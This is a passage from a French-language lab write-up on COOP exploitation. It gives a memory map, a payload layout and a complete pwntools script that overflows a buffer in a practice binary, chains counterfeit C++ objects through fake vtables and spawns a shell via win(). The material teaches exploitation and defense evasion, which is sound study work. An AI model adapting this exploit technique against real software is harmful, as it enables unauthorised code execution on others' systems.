Quand le dispatch virtuel se produit (mov rax, [obj1] puis call [rax + 0]), il charge rax = vtable1 = buf_start + 0, puis lit l'adresse stockée à cet emplacement, soit &Forward::trigger. C'est exactement ce dont le dispatch a besoin : pas d'entrées supplémentaires, ni de métadonnées. La mini-vtable est fonctionnellement complète.

Condition

Cette technique ne fonctionne que parce que Gadget n'a qu'une seule méthode virtuelle. Si la hiérarchie en avait plusieurs, la vtable serait plus grande et chaque offset devrait être soigneusement calculé.

Analyse : la vulnérabilité et la structure mémoire

memcpy(data.buf, input, n) copie jusqu'à 128 octets dans buf qui n'en fait que 32. Le dépassement de 96 octets possible écrase data.gadget situé à l'offset +32 depuis buf_start. C'est ce pointeur que data.process() déréférence pour appeler trigger().

Carte mémoire de l'objet data global (base = 0x4041e0)
0x4041e0 (+0)
vptr de Data
0x4041e8 (+8)
buf[0..7] ← buf_start, début de la zone contrôlable
0x4041f0 (+16)
buf[8..15]
0x4041f8 (+24)
buf[16..23]
0x404200 (+32)
buf[24..31] ← fin du tampon officiel
0x404208 (+40)
data.gadget (Gadget*) ← écrasé au payload[+32]

Plan du payload (88 octets depuis buf_start)

Disposition complète du payload dans buf
payload[0:8]
vtable1 = &Forward::trigger (mini-vtable pour obj1)
payload[8:16]
vtable2 = &Forward::trigger (mini-vtable pour obj2)
payload[16:24]
vtable3 = &Execute::trigger (mini-vtable pour obj3)
payload[24:32]
padding (inutilisé)
payload[32:40]
→ écrase data.gadget avec adresse de obj1
payload[40:48]
obj1.vptr → vtable1
payload[48:56]
obj1.next → obj2
payload[56:64]
obj2.vptr → vtable2
payload[64:72]
obj2.next → obj3
payload[72:80]
obj3.vptr → vtable3
payload[80:88]
obj3.func → &win()

Script d'exploitation complet

exploit.py
#!/usr/bin/env python3
from pwn import *

BIN = './coop'
elf = ELF(BIN)

# Récupération des adresses des méthodes
# Les noms mangled (_ZN...) sont la convention ABI C++ pour encoder les noms.
forward_trigger = elf.symbols['_ZN7Forward7triggerEv']   # Forward::trigger
execute_trigger = elf.symbols['_ZN7Execute7triggerEv']   # Execute::trigger
win_addr        = elf.symbols['_Z3winv']                 # win()

sh = process(BIN)

# L'adresse de data est fixe car le binaire est compilé avec -no-pie.
# Sans ASLR, cette adresse ne change jamais entre les exécutions.
data_addr = 0x4041e0
log.success(f'data @ {hex(data_addr)}')

# buf_start : début du tampon data.buf.
# Le vptr de Data occupe les 8 premiers octets de l'objet,
# donc data.buf commence à data_addr + 8.
buf_start = data_addr + 8   # = 0x4041e8

# Calcul des adresses relatives
vtable1 = buf_start + 0
vtable2 = buf_start + 8
vtable3 = buf_start + 16
obj1    = buf_start + 40
obj2    = buf_start + 56
obj3    = buf_start + 72

payload = bytearray(128)

# Place les vtables
payload[0:8]   = p64(forward_trigger)
payload[8:16]  = p64(forward_trigger)
payload[16:24] = p64(execute_trigger)

# Écrase data.gadget (à l'offset 32 du payload) avec l'adresse de obj1
payload[32:40] = p64(obj1)

# Construit obj1 (fake Forward)
payload[40:48] = p64(vtable1)   # vptr1
payload[48:56] = p64(obj2)      # next1

# Construit obj2 (fake Forward)
payload[56:64] = p64(vtable2)   # vptr2
payload[64:72] = p64(obj3)      # next2

# Construit obj3 (fake Execute)
payload[72:80] = p64(vtable3)   # vptr3
payload[80:88] = p64(win_addr)  # func → &win

sh.send(payload[:88])   # envoi des 88 premiers octets
sh.interactive()

Trace d'exécution étape par étape

1
Lecture et overflow
read(0, input, 128) lit 88 octets. memcpy(data.buf, input, 88) les copie à partir de 0x4041e8 : octets 0-31 → data.buf, octets 32-39 → data.gadget = adresse de obj1, octets 40-87 → objets contrefaits construits dans buf lui-même.
2
Premier dispatch : data.process() → obj1
data.process() vérifie gadget != nullptr (vrai) et appelle gadget->trigger(). Le dispatch charge [obj1+0] = vtable1, puis [vtable1+0] = &Forward::trigger. Appelé avec this = obj1.
3
Forward::trigger sur obj1 → obj2
Dans Forward::trigger avec this = obj1 : this->next (offset +8) = adresse de obj2. obj2->trigger() est appelé.
4
Forward::trigger sur obj2 → obj3
Même mécanique : this->next = adresse de obj3. obj3->trigger() est appelé. Le dispatch charge vtable3[0] = &Execute::trigger.
5
Execute::trigger sur obj3 → win()
Dans Execute::trigger avec this = obj3 : this->func (offset +8) = adresse de win(). L'appel this->func() exécute win()system("/bin/sh"). Shell obtenu.
Résultat

L'envoi de 88 octets déclenche la chaîne Forward → Forward → Execute → win() et ouvre un shell interactif. Cet exercice concentre en 88 octets tous les concepts fondamentaux du COOP : objets contrefaits, mini-vtables, chaîne de dispatch virtuel et gadget invoke terminal.

Ce que cet exercice illustre

Ce lab concentre en 88 octets l'ensemble des principes fondamentaux du COOP vus dans l'article :

1
Construction d'objets contrefaits
Les objets obj1, obj2, obj3 ne sont pas de vraies instances allouées avec new. Ce sont des structures assemblées manuellement dans un buffer, avec un vptr valide et des champs contrôlés.
2
Chaînage via forward gadgets
La propagation Forward → Forward → Execute crée une chaîne linéaire sans main-loop gadget. C'est le pattern le plus simple de COOP : chaque gadget délègue au suivant via son champ next.
3
Invoke gadget terminal
Execute::trigger() joue le rôle du gadget qui réalise l'action finale. Il appelle le pointeur de fonction func contrôlé par l'attaquant, qui correspond ici à &win.
4
Absence d'ASLR requise ici
Le flag -no-pie rend toutes les adresses prévisibles sans fuite préalable. En conditions réelles, une fuite d'adresse serait nécessaire pour calculer dynamiquement buf_start, les adresses des vtables et &win.
5
CFI est inopérant
À chaque appel (obj1->trigger(), obj2->trigger(), obj3->trigger()), la cible est une vraie méthode virtuelle de la hiérarchie Gadget. Un CFI coarse-grained ne peut pas distinguer ces appels d'appels légitimes.
Pour aller plus loin

Un exercice avancé : activer l'ASLR (-pie) et introduire une fuite d'adresse dans le programme (par exemple, en affichant l'adresse de data avant la lecture du payload). L'exploit devra alors calculer dynamiquement toutes les adresses à partir de cette fuite.

10 - Références

Articles de recherche
Ressources sur les mécanismes de défense
Pour approfondir